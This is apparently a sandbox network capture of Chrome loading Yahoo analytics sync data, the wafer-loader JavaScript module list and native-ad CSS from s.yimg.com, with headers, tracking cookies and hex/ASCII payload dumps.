112	192.168.2.4	49875	3.225.218.10	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:54 UTC	976	OUT	GET /ups/58831/sync?format=json&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN HTTP/1.1 Host: ups.analytics.yahoo.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; IDSYNC="19cw~2i3y:19e0~2i3y:19e7~2i3y"; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A
2024-04-27 22:41:54 UTC	455	IN	HTTP/1.1 200 OK Date: Sat, 27 Apr 2024 22:41:54 GMT Content-Type: application/json Strict-Transport-Security: max-age=31536000 Set-Cookie: IDSYNC="19cw~2i3y:19e0~2i3y:19e7~2i3y";Version=1;Domain=.analytics.yahoo.com;Path=/;Max-Age=31536000;Expires=Sun, 27-Apr-2025 22:41:54 GMT;Secure;SameSite=None P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV Age: 0 Transfer-Encoding: chunked Connection: close Server: ATS/9.1.10.112
2024-04-27 22:41:54 UTC	59	IN	Data Raw: 33 30 0d 0a 7b 22 61 78 69 64 22 3a 20 22 79 2d 6a 62 54 5a 4a 47 5a 45 32 75 4c 72 52 5a 47 52 46 4e 73 6b 45 36 5a 56 35 41 6e 77 32 6a 34 32 7e 41 22 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 30{"axid": "y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A"}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.4	49874	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:54 UTC	539	OUT	GET /aaq/wf/wf-loader-2.7.5-modern.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:54 UTC	859	IN	HTTP/1.1 200 OK x-amz-id-2: L0O+XTVitsqFuWtTQIozgXqfhuq5NcOlWJT2FsHAY5FoqyYXp8tkDA5BoEoRNW+xpY3V2x4D2pEodCY+8drZvotQWww0dHi9f3EXm8ziq1E= x-amz-request-id: 78Y3STZA477KKRF9 Date: Sat, 27 Apr 2024 22:41:28 GMT Last-Modified: Thu, 28 Mar 2024 01:05:23 GMT ETag: "6b203a4b87b7fa985db197eadc05b67c" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: d7jHkVSYS.C1kcPtwYWUZh0RsEF.4unW Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 11896 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 27 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 61 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 77 61 66 65 72 2d 6c 6f 61 64 65 72 22 2c 5b 5d 2c 65 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 5b 22 77 61 66 65 72 2d 6c 6f 61 64 65 72 22 5d 3d 65 28 29 3a 28 61 2e 77 61 66 65 72 3d 61 2e 77 61 66 65 72 7c 7c 7b 7d 2c 61 2e 77 61 66 65 72 2e 77 61 66 65 72 73 3d 61 2e 77 61 66 65 72 2e 77 61 66 65 72 73 7c 7c Data Ascii: !function(a,e){"object"==typeof exports&&"object"==typeof module?module.exports=e():"function"==typeof define&&define.amd?define("wafer-loader",[],e):"object"==typeof exports?exports["wafer-loader"]=e():(a.wafer=a.wafer\|\|{},a.wafer.wafers=a.wafer.wafers\|\|
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 61 63 74 69 6f 6e 2d 31 2e 38 2e 31 2e 6a 73 22 2c 72 61 77 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 61 63 74 69 6f 6e 2d 31 2e 38 2e 31 2e 72 61 77 2e 6a 73 22 7d 7d 2c 22 77 61 66 65 72 2d 61 75 74 6f 63 6f 6d 70 6c 65 74 65 22 3a 7b 6d 65 74 61 3a 7b 76 65 72 73 69 6f 6e 3a 22 31 2e 33 31 2e 38 22 7d 2c 6d 6f 64 65 72 6e 3a 7b 6d 69 6e 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 61 75 74 6f 63 6f 6d 70 6c 65 74 65 2d 31 2e 33 31 2e 38 2d 6d 6f 64 65 72 6e 2e 6a 73 22 2c 72 61 77 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 61 75 74 6f 63 6f 6d 70 6c 65 74 65 2d 31 2e 33 31 2e 38 2d 6d 6f 64 65 72 6e 2e 72 61 77 2e 6a 73 22 7d 2c 64 65 66 61 75 6c 74 3a 7b 6d 69 6e 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 61 75 74 6f 63 6f 6d 70 Data Ascii: :"/aaq/wf/wf-action-1.8.1.js",raw:"/aaq/wf/wf-action-1.8.1.raw.js"}},"wafer-autocomplete":{meta:{version:"1.31.8"},modern:{min:"/aaq/wf/wf-autocomplete-1.31.8-modern.js",raw:"/aaq/wf/wf-autocomplete-1.31.8-modern.raw.js"},default:{min:"/aaq/wf/wf-autocomp
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 6a 73 22 7d 2c 64 65 66 61 75 6c 74 3a 7b 6d 69 6e 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 63 6c 69 70 62 6f 61 72 64 2d 63 6f 70 79 2d 31 2e 30 2e 32 2e 6a 73 22 2c 72 61 77 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 63 6c 69 70 62 6f 61 72 64 2d 63 6f 70 79 2d 31 2e 30 2e 32 2e 72 61 77 2e 6a 73 22 7d 7d 2c 22 77 61 66 65 72 2d 63 6f 72 65 22 3a 7b 6d 65 74 61 3a 7b 76 65 72 73 69 6f 6e 3a 22 31 2e 36 35 2e 30 22 7d 2c 6d 6f 64 65 72 6e 3a 7b 6d 69 6e 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 63 6f 72 65 2d 31 2e 36 35 2e 30 2d 6d 6f 64 65 72 6e 2e 6a 73 22 2c 72 61 77 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 63 6f 72 65 2d 31 2e 36 35 2e 30 2d 6d 6f 64 65 72 6e 2e 72 61 77 2e 6a 73 22 7d 2c 64 65 66 61 75 6c 74 3a 7b 6d 69 6e 3a 22 2f 61 61 71 2f 77 66 2f 77 66 Data Ascii: js"},default:{min:"/aaq/wf/wf-clipboard-copy-1.0.2.js",raw:"/aaq/wf/wf-clipboard-copy-1.0.2.raw.js"}},"wafer-core":{meta:{version:"1.65.0"},modern:{min:"/aaq/wf/wf-core-1.65.0-modern.js",raw:"/aaq/wf/wf-core-1.65.0-modern.raw.js"},default:{min:"/aaq/wf/wf
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 6d 6f 64 65 72 6e 2e 72 61 77 2e 6a 73 22 7d 2c 64 65 66 61 75 6c 74 3a 7b 6d 69 6e 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 64 72 6f 70 64 6f 77 6e 2d 64 72 61 77 65 72 2d 31 2e 31 2e 33 2e 6a 73 22 2c 72 61 77 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 64 72 6f 70 64 6f 77 6e 2d 64 72 61 77 65 72 2d 31 2e 31 2e 33 2e 72 61 77 2e 6a 73 22 7d 7d 2c 22 77 61 66 65 72 2d 65 78 70 65 72 69 6d 65 6e 74 2d 73 63 72 6f 6c 6c 76 69 65 77 22 3a 7b 6d 65 74 61 3a 7b 76 65 72 73 69 6f 6e 3a 22 31 2e 32 2e 31 30 22 7d 2c 6d 6f 64 65 72 6e 3a 7b 6d 69 6e 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 65 78 70 65 72 69 6d 65 6e 74 2d 73 63 72 6f 6c 6c 76 69 65 77 2d 31 2e 32 2e 31 30 2d 6d 6f 64 65 72 6e 2e 6a 73 22 2c 72 61 77 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 65 78 70 65 72 Data Ascii: modern.raw.js"},default:{min:"/aaq/wf/wf-dropdown-drawer-1.1.3.js",raw:"/aaq/wf/wf-dropdown-drawer-1.1.3.raw.js"}},"wafer-experiment-scrollview":{meta:{version:"1.2.10"},modern:{min:"/aaq/wf/wf-experiment-scrollview-1.2.10-modern.js",raw:"/aaq/wf/wf-exper
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 7b 76 65 72 73 69 6f 6e 3a 22 31 2e 34 2e 30 22 7d 2c 6d 6f 64 65 72 6e 3a 7b 6d 69 6e 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 69 6d 61 67 65 2d 31 2e 34 2e 30 2d 6d 6f 64 65 72 6e 2e 6a 73 22 2c 72 61 77 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 69 6d 61 67 65 2d 31 2e 34 2e 30 2d 6d 6f 64 65 72 6e 2e 72 61 77 2e 6a 73 22 7d 2c 64 65 66 61 75 6c 74 3a 7b 6d 69 6e 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 69 6d 61 67 65 2d 31 2e 34 2e 30 2e 6a 73 22 2c 72 61 77 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 69 6d 61 67 65 2d 31 2e 34 2e 30 2e 72 61 77 2e 6a 73 22 7d 7d 2c 22 77 61 66 65 72 2d 6c 69 67 68 74 62 6f 78 22 3a 7b 6d 65 74 61 3a 7b 76 65 72 73 69 6f 6e 3a 22 31 2e 31 30 2e 36 22 7d 2c 6d 6f 64 65 72 6e 3a 7b 6d 69 6e 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 6c Data Ascii: {version:"1.4.0"},modern:{min:"/aaq/wf/wf-image-1.4.0-modern.js",raw:"/aaq/wf/wf-image-1.4.0-modern.raw.js"},default:{min:"/aaq/wf/wf-image-1.4.0.js",raw:"/aaq/wf/wf-image-1.4.0.raw.js"}},"wafer-lightbox":{meta:{version:"1.10.6"},modern:{min:"/aaq/wf/wf-l
2024-04-27 22:41:54 UTC	980	IN	Data Raw: 6e 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 6e 61 74 69 76 65 2d 64 61 2d 31 2e 30 2e 35 2d 6d 6f 64 65 72 6e 2e 6a 73 22 2c 72 61 77 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 6e 61 74 69 76 65 2d 64 61 2d 31 2e 30 2e 35 2d 6d 6f 64 65 72 6e 2e 72 61 77 2e 6a 73 22 7d 2c 64 65 66 61 75 6c 74 3a 7b 6d 69 6e 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 6e 61 74 69 76 65 2d 64 61 2d 31 2e 30 2e 35 2e 6a 73 22 2c 72 61 77 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 6e 61 74 69 76 65 2d 64 61 2d 31 2e 30 2e 35 2e 72 61 77 2e 6a 73 22 7d 7d 2c 22 77 61 66 65 72 2d 70 72 6f 67 72 65 73 73 2d 6c 6f 61 64 65 72 22 3a 7b 6d 65 74 61 3a 7b 76 65 72 73 69 6f 6e 3a 22 31 2e 32 2e 31 30 22 7d 2c 6d 6f 64 65 72 6e 3a 7b 6d 69 6e 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 70 72 6f 67 72 65 Data Ascii: n:"/aaq/wf/wf-native-da-1.0.5-modern.js",raw:"/aaq/wf/wf-native-da-1.0.5-modern.raw.js"},default:{min:"/aaq/wf/wf-native-da-1.0.5.js",raw:"/aaq/wf/wf-native-da-1.0.5.raw.js"}},"wafer-progress-loader":{meta:{version:"1.2.10"},modern:{min:"/aaq/wf/wf-progre
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 73 74 69 63 6b 79 2d 31 2e 32 2e 36 2d 6d 6f 64 65 72 6e 2e 72 61 77 2e 6a 73 22 7d 2c 64 65 66 61 75 6c 74 3a 7b 6d 69 6e 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 73 74 69 63 6b 79 2d 31 2e 32 2e 36 2e 6a 73 22 2c 72 61 77 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 73 74 69 63 6b 79 2d 31 2e 32 2e 36 2e 72 61 77 2e 6a 73 22 7d 7d 2c 22 77 61 66 65 72 2d 74 61 62 73 22 3a 7b 6d 65 74 61 3a 7b 76 65 72 73 69 6f 6e 3a 22 31 2e 31 32 2e 36 22 7d 2c 6d 6f 64 65 72 6e 3a 7b 6d 69 6e 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 74 61 62 73 2d 31 2e 31 32 2e 36 2d 6d 6f 64 65 72 6e 2e 6a 73 22 2c 72 61 77 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 74 61 62 73 2d 31 2e 31 32 2e 36 2d 6d 6f 64 65 72 6e 2e 72 61 77 2e 6a 73 22 7d 2c 64 65 66 Data Ascii: :"/aaq/wf/wf-sticky-1.2.6-modern.raw.js"},default:{min:"/aaq/wf/wf-sticky-1.2.6.js",raw:"/aaq/wf/wf-sticky-1.2.6.raw.js"}},"wafer-tabs":{meta:{version:"1.12.6"},modern:{min:"/aaq/wf/wf-tabs-1.12.6-modern.js",raw:"/aaq/wf/wf-tabs-1.12.6-modern.raw.js"},def
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 22 7d 2c 64 65 66 61 75 6c 74 3a 7b 6d 69 6e 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 74 6f 67 67 6c 65 2d 31 2e 31 35 2e 34 2e 6a 73 22 2c 72 61 77 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 74 6f 67 67 6c 65 2d 31 2e 31 35 2e 34 2e 72 61 77 2e 6a 73 22 7d 7d 2c 22 77 61 66 65 72 2d 74 6f 6f 6c 74 69 70 22 3a 7b 6d 65 74 61 3a 7b 76 65 72 73 69 6f 6e 3a 22 31 2e 33 2e 32 22 7d 2c 6d 6f 64 65 72 6e 3a 7b 6d 69 6e 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 74 6f 6f 6c 74 69 70 2d 31 2e 33 2e 32 2d 6d 6f 64 65 72 6e 2e 6a 73 22 2c 72 61 77 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 74 6f 6f 6c 74 69 70 2d 31 2e 33 2e 32 2d 6d 6f 64 65 72 6e 2e 72 61 77 2e 6a 73 22 7d 2c 64 65 66 61 75 6c 74 3a 7b 6d 69 6e 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 74 6f 6f 6c 74 69 70 2d 31 Data Ascii: "},default:{min:"/aaq/wf/wf-toggle-1.15.4.js",raw:"/aaq/wf/wf-toggle-1.15.4.raw.js"}},"wafer-tooltip":{meta:{version:"1.3.2"},modern:{min:"/aaq/wf/wf-tooltip-1.3.2-modern.js",raw:"/aaq/wf/wf-tooltip-1.3.2-modern.raw.js"},default:{min:"/aaq/wf/wf-tooltip-1
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 61 28 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 72 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 30 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3a 7b 7d 2c 66 3d 72 2e 65 72 72 6f 72 43 6c 61 73 73 2c 6f 3d 76 6f 69 64 20 30 3d 3d 3d 66 3f 22 77 61 66 65 72 2d 6c 6f 61 64 65 72 2d 65 72 72 6f 72 22 3a 66 2c 6e 3d 72 2e 72 6f 6f 74 2c 73 3d 76 6f 69 64 20 30 3d 3d 3d 6e 3f 64 6f 63 75 6d 65 6e 74 3a 6e 2c 74 3d 72 2e 73 75 63 63 65 73 73 43 6c 61 73 73 2c 69 3d 76 6f 69 64 20 30 3d 3d 3d 74 3f 22 77 61 66 65 72 2d 6c 6f 61 64 65 72 2d 73 75 63 63 65 73 73 22 3a 74 3b 77 28 74 68 69 73 2c 61 29 2c 74 68 69 73 2e 5f 73 74 61 74 65 3d 7b 70 65 6e 64 69 6e 67 4c 6f Data Ascii: function a(){var e=this,r=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},f=r.errorClass,o=void 0===f?"wafer-loader-error":f,n=r.root,s=void 0===n?document:n,t=r.successClass,i=void 0===t?"wafer-loader-success":t;w(this,a),this._state={pendingLo
2024-04-27 22:41:54 UTC	516	IN	Data Raw: 5b 30 5d 3a 5b 5d 2c 65 3d 74 68 69 73 2e 5f 73 74 61 74 65 2e 70 65 6e 64 69 6e 67 4c 6f 61 64 69 6e 67 4d 61 70 2c 72 3d 74 68 69 73 2e 5f 6f 70 74 69 6f 6e 73 2e 70 72 6f 70 73 2c 77 3d 72 2e 64 65 62 75 67 2c 66 3d 72 2e 6d 6f 64 65 72 6e 3b 72 65 74 75 72 6e 20 50 72 6f 6d 69 73 65 2e 61 6c 6c 28 61 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 72 3d 22 77 61 66 65 72 2d 22 2b 61 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 73 29 7b 69 66 28 22 63 6f 72 65 22 3d 3d 3d 61 7c 7c 74 5b 72 5d 7c 7c 65 5b 72 5d 29 72 65 74 75 72 6e 20 76 6f 69 64 20 6f 28 29 3b 76 61 72 20 64 3d 6d 5b 72 5d 3b 69 66 28 21 64 29 72 65 74 75 72 6e 20 76 6f 69 64 20 6f 28 29 3b 76 61 72 20 6c 3d 64 5b 66 3f 22 Data Ascii: [0]:[],e=this._state.pendingLoadingMap,r=this._options.props,w=r.debug,f=r.modern;return Promise.all(a.map(function(a){var r="wafer-"+a;return new Promise(function(o,s){if("core"===a\|\|t[r]\|\|e[r])return void o();var d=m[r];if(!d)return void o();var l=d[f?"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.4	49876	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:54 UTC	613	OUT	GET /aaq/fp/css/react-wafer-nativeAd.NativeAd.atomic.ltr.79e35ab9cc994315caecc61b1737c23f.min.css HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:54 UTC	847	IN	HTTP/1.1 200 OK x-amz-id-2: zQHmXuyT/HccfwsHTZarx40KY4iJ27SVPV8mDpYR/JGn+qCv6fplbDOM/1oQP5kOUPvvqM9xeutZrfe6DZtnY3lSy3kqS4Bqmw82GS7o01w= x-amz-request-id: FV2Q74QZGXM2B743 Date: Sat, 27 Apr 2024 22:21:22 GMT Last-Modified: Fri, 26 Apr 2024 01:22:11 GMT ETag: "79e35ab9cc994315caecc61b1737c23f" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: Mhe3ogMNDjbF.gWPGh0Owk4nF1zEg3QT Accept-Ranges: bytes Content-Type: text/css Server: ATS Content-Length: 30563 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 1233 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 23 61 74 6f 6d 69 63 20 2e 41 69 5c 28 63 5c 29 7b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 7d 23 61 74 6f 6d 69 63 20 2e 41 63 5c 28 63 5c 29 7b 61 6c 69 67 6e 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 7d 23 61 74 6f 6d 69 63 20 2e 41 73 5c 28 63 5c 29 7b 61 6c 69 67 6e 2d 73 65 6c 66 3a 63 65 6e 74 65 72 7d 2e 61 63 74 69 76 65 20 2e 61 63 74 69 76 65 5f 41 6e 69 6d 64 75 72 5c 28 35 30 30 30 6d 73 5c 29 7b 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 35 73 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 61 63 74 69 76 65 20 2e 61 63 74 69 76 65 5f 41 6e 69 6d 6e 5c 28 5c 24 63 61 72 6f 75 73 65 6c 41 6e 69 6d 61 74 69 6f 6e 4e 61 6d 65 5c 29 7b 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 73 6c 69 64 65 21 69 6d 70 6f 72 74 61 6e 74 7d Data Ascii: #atomic .Ai$c${align-items:center}#atomic .Ac$c${align-content:center}#atomic .As$c${align-self:center}.active .active_Animdur$5000ms${animation-duration:5s!important}.active .active_Animn$\$carouselAnimationName${animation-name:slide!important}
2024-04-27 22:41:54 UTC	896	IN	Data Raw: 6f 72 64 65 72 2d 72 69 67 68 74 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 67 72 65 79 2d 68 61 69 72 29 7d 23 61 74 6f 6d 69 63 20 2e 42 64 65 6e 64 63 5c 28 2d 2d 77 68 69 74 65 5c 29 7b 62 6f 72 64 65 72 2d 72 69 67 68 74 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 6f 72 64 65 72 2d 72 69 67 68 74 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 77 68 69 74 65 29 7d 23 61 74 6f 6d 69 63 20 2e 42 64 62 63 5c 28 2d 2d 66 70 2d 61 6c 70 68 61 2d 32 30 5c 29 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 66 70 2d 61 6c 70 68 61 2d 32 30 29 7d 23 61 74 6f 6d 69 63 20 2e 42 64 73 5c 28 73 5c 29 2c 2e 42 64 42 7b 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 73 6f 6c 69 64 7d 23 61 74 6f 6d 69 63 20 2e 42 64 74 73 5c 28 73 5c 29 7b 62 6f 72 64 65 72 Data Ascii: order-right-color:var(--grey-hair)}#atomic .Bdendc$--white${border-right-color:#fff;border-right-color:var(--white)}#atomic .Bdbc$--fp-alpha-20${border-bottom-color:var(--fp-alpha-20)}#atomic .Bds$s$,.BdB{border-style:solid}#atomic .Bdts$s${border
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 72 64 65 72 2d 72 61 64 69 75 73 3a 33 70 78 7d 23 61 74 6f 6d 69 63 20 2e 42 64 72 73 5c 28 34 70 78 5c 29 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 34 70 78 7d 23 61 74 6f 6d 69 63 20 2e 42 64 72 73 5c 28 35 30 5c 25 5c 29 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 30 25 7d 23 61 74 6f 6d 69 63 20 2e 42 64 72 73 5c 28 35 70 78 5c 29 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 70 78 7d 23 61 74 6f 6d 69 63 20 2e 42 64 72 73 5c 28 36 70 78 5c 29 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 36 70 78 7d 23 61 74 6f 6d 69 63 20 2e 42 64 72 73 5c 28 38 70 78 5c 29 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 38 70 78 7d 23 61 74 6f 6d 69 63 20 2e 42 64 72 73 5c 28 39 70 78 5c 29 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 39 70 78 7d 2e 65 6e 61 Data Ascii: rder-radius:3px}#atomic .Bdrs$4px${border-radius:4px}#atomic .Bdrs$50\%${border-radius:50%}#atomic .Bdrs$5px${border-radius:5px}#atomic .Bdrs$6px${border-radius:6px}#atomic .Bdrs$8px${border-radius:8px}#atomic .Bdrs$9px${border-radius:9px}.ena
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 23 61 74 6f 6d 69 63 20 2e 42 67 63 5c 28 5c 24 69 6e 74 6c 4e 74 6b 41 64 4f 70 61 63 69 74 79 5c 29 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 34 29 7d 23 61 74 6f 6d 69 63 20 2e 42 67 63 5c 28 2d 2d 62 6c 61 63 6b 5c 29 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 6c 61 63 6b 29 7d 23 61 74 6f 6d 69 63 20 2e 42 67 63 5c 28 2d 2d 62 6f 6e 73 61 69 5c 29 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 38 37 33 63 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 6f 6e 73 61 69 29 7d 23 61 74 6f 6d 69 63 20 2e 42 67 63 5c 28 2d 2d 64 6f 6c 70 68 69 6e 5c 29 7b 62 61 63 6b 67 Data Ascii: #atomic .Bgc$\$intlNtkAdOpacity${background-color:rgba(0,0,0,.4)}#atomic .Bgc$--black${background-color:#000;background-color:var(--black)}#atomic .Bgc$--bonsai${background-color:#00873c;background-color:var(--bonsai)}#atomic .Bgc$--dolphin${backg
